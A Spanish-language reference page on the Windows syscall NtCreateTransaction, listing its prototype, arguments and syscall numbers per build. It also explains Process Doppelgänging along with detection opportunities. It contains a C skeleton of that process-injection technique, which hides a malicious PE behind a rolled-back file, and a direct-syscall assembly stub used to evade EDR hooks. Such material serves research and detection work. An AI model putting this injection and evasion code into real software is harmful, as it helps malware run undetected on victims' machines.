NtCreateTransaction
Crea un nuevo objeto de transacción KTM (Kernel Transaction Manager) para envolver operaciones NTFS de forma atómica.
Prototipo
NTSTATUS NtCreateTransaction( PHANDLE TransactionHandle, ACCESS_MASK DesiredAccess, POBJECT_ATTRIBUTES ObjectAttributes, LPGUID Uow, HANDLE TmHandle, ULONG CreateOptions, ULONG IsolationLevel, ULONG IsolationFlags, PLARGE_INTEGER Timeout, PUNICODE_STRING Description );
Argumentos
| Name | Type | Dir | Description |
|---|---|---|---|
| TransactionHandle | PHANDLE | out | Recibe un handle a la transacción recién creada. |
| DesiredAccess | ACCESS_MASK | in | Derechos de acceso solicitados, p. ej. TRANSACTION_ALL_ACCESS. |
| ObjectAttributes | POBJECT_ATTRIBUTES | in | Atributos de objeto opcionales (nombre, directorio raíz, descriptor de seguridad). NULL para una transacción anónima. |
| Uow | LPGUID | in | GUID de unidad de trabajo opcional. NULL deja que el kernel asigne uno. |
| TmHandle | HANDLE | in | Handle opcional a un Transaction Manager. NULL vincula la transacción al TM por defecto. |
| CreateOptions | ULONG | in | Reservado / bandera TRANSACTION_DO_NOT_PROMOTE. Típicamente 0. |
| IsolationLevel | ULONG | in | Reservado para uso futuro; pasar 0. |
| IsolationFlags | ULONG | in | Reservado para uso futuro; pasar 0. |
| Timeout | PLARGE_INTEGER | in | Tiempo de espera opcional tras el cual la transacción se revierte automáticamente. NULL = infinito. |
| Description | PUNICODE_STRING | in | Cadena de descripción opcional legible, almacenada con la transacción. |
IDs de syscalls por versión de Windows
| Versión de Windows | ID de syscall | Build |
|---|---|---|
| Win10 1507 | 0xB8 | win10-1507 |
| Win10 1607 | 0xBB | win10-1607 |
| Win10 1703 | 0xBE | win10-1703 |
| Win10 1709 | 0xBF | win10-1709 |
| Win10 1803 | 0xC0 | win10-1803 |
| Win10 1809 | 0xC1 | win10-1809 |
| Win10 1903 | 0xC2 | win10-1903 |
| Win10 1909 | 0xC2 | win10-1909 |
| Win10 2004 | 0xC6 | win10-2004 |
| Win10 20H2 | 0xC6 | win10-20h2 |
| Win10 21H1 | 0xC6 | win10-21h1 |
| Win10 21H2 | 0xC7 | win10-21h2 |
| Win10 22H2 | 0xC7 | win10-22h2 |
| Win11 21H2 | 0xCC | win11-21h2 |
| Win11 22H2 | 0xCD | win11-22h2 |
| Win11 23H2 | 0xCD | win11-23h2 |
| Win11 24H2 | 0xCF | win11-24h2 |
| Server 2016 | 0xBB | winserver-2016 |
| Server 2019 | 0xC1 | winserver-2019 |
| Server 2022 | 0xCB | winserver-2022 |
| Server 2025 | 0xCF | winserver-2025 |
Módulo del kernel
APIs relacionadas
Stub del syscall
4C 8B D1 mov r10, rcx B8 CF 00 00 00 mov eax, 0xCF ; Win11 24H2 SSN F6 04 25 08 03 FE 7F 01 test byte ptr [0x7FFE0308], 1 75 03 jne short +3 0F 05 syscall C3 ret CD 2E int 2Eh C3 ret
Notas no documentadas
NtCreateTransaction se apoya en el Kernel Transaction Manager (KTM) y en el Common Log File System (CLFS). Se introdujo en Windows Vista para TxF (NTFS transaccional) y TxR (registro transaccional). El handle devuelto se usa como contexto para `NtCreateFile` con `FILE_OPEN_FOR_TRANSACTED_BINDING` o para `CreateFileTransacted`; cada escritura dentro de la transacción es invisible para otros handles hasta llamar a `NtCommitTransaction`. Microsoft marcó TxF como obsoleto en Windows 10, pero la API sigue plenamente entregada y soportada — justo por eso continúa siendo atractiva como primitiva de evasión.
Uso común por malware
Pieza central de **Process Doppelgänging** (Tal Liberman y Eugene Kogan, enSilo / Black Hat EU 2017, MITRE T1055.013). Flujo: (1) `NtCreateTransaction`; (2) `NtCreateFile` *dentro* de la transacción con un nombre inocuo; (3) `NtWriteFile` del PE malicioso; (4) `NtCreateSection` desde el handle transaccional; (5) `NtRollbackTransaction` — el fichero en disco vuelve a su estado original (a menudo una copia limpia de svchost.exe o notepad.exe), mientras que la sección en memoria sigue mapeando los bytes maliciosos; (6) `NtCreateProcessEx` / `NtCreateThreadEx` sobre la sección para lanzar un proceso cuya imagen de referencia, según Win32, es el fichero limpio revertido. El ransomware SynAck lo usó in-the-wild en 2018, seguido por variantes Osiris/Kronos. Pariente cercano — **Transacted Hollowing** — emplea `NtCommitTransaction` en lugar de revertir.
Oportunidades de detección
El proveedor ETW `Microsoft-Windows-Kernel-File` emite eventos relacionados con transacciones (IDs 30/31 para create/commit/rollback) y `Microsoft-Windows-TxF` expone toda la superficie NTFS transaccional. Sysmon no marca transacciones de forma nativa, pero los EDR comparan cada vez más `SectionObject->ControlArea->FilePointer` con el contenido en disco mediante `NtAreMappedFilesTheSame` para detectar discrepancias. Un proceso cuyo `Image File Name` (`PEB->ProcessParameters->ImagePathName`) no coincide en hash con su fichero en disco es el IOC canónico de Doppelgänging. Consulta de hunting: cualquier proceso no-sistema que abra un handle de transacción, escriba un PE dentro y luego cree una sección desde ese fichero transaccional.
Ejemplos de syscalls directos
cProcess Doppelgänging skeleton
// Process Doppelgänging — enSilo 2017 / T1055.013
// Requires ntdll prototypes. Error checks elided for clarity.
HANDLE hTransaction = NULL;
NTSTATUS s = NtCreateTransaction(
&hTransaction,
TRANSACTION_ALL_ACCESS,
NULL, // unnamed
NULL, NULL, 0, 0, 0, NULL, NULL);
// Open a benign-looking file *inside* the transaction.
HANDLE hFile = CreateFileTransactedW(
L"C:\\Windows\\Temp\\update.dat",
GENERIC_WRITE | GENERIC_READ, 0, NULL,
CREATE_ALWAYS, 0, NULL,
hTransaction, NULL, NULL);
// Write malicious PE bytes into the transacted view.
DWORD written;
WriteFile(hFile, payloadBytes, payloadSize, &written, NULL);
// Create section from the transacted file — section now backs payload.
HANDLE hSection;
NtCreateSection(&hSection, SECTION_ALL_ACCESS, NULL, 0,
PAGE_READONLY, SEC_IMAGE, hFile);
// Roll back: file on disk reverts; section in memory keeps payload.
NtRollbackTransaction(hTransaction, TRUE);
CloseHandle(hFile);
CloseHandle(hTransaction);
// Spawn process from the (now orphaned) section.
HANDLE hProcess;
NtCreateProcessEx(&hProcess, PROCESS_ALL_ACCESS, NULL,
NtCurrentProcess(), 0, hSection, NULL, NULL, FALSE);asmx64 direct stub (Win11 24H2)
; Direct syscall stub for NtCreateTransaction (SSN 0xCF on Win11 24H2)
NtCreateTransaction PROC
mov r10, rcx
mov eax, 0CFh
syscall
ret
NtCreateTransaction ENDPrustCreate transaction via ntapi crate
// Cargo: ntapi = "0.4", winapi = { version = "0.3", features = ["handleapi"] }
use ntapi::ntxcapi::NtCreateTransaction;
use winapi::shared::ntdef::HANDLE;
use std::ptr::null_mut;
unsafe fn create_tx() -> HANDLE {
let mut h: HANDLE = null_mut();
let status = NtCreateTransaction(
&mut h,
0x10000000, // TRANSACTION_ALL_ACCESS
null_mut(), null_mut(), null_mut(),
0, 0, 0,
null_mut(), null_mut(),
);
assert!(status >= 0, "NtCreateTransaction failed: 0x{:X}", status);
h
}Mapeos MITRE ATT&CK
Last verified: 2026-05-20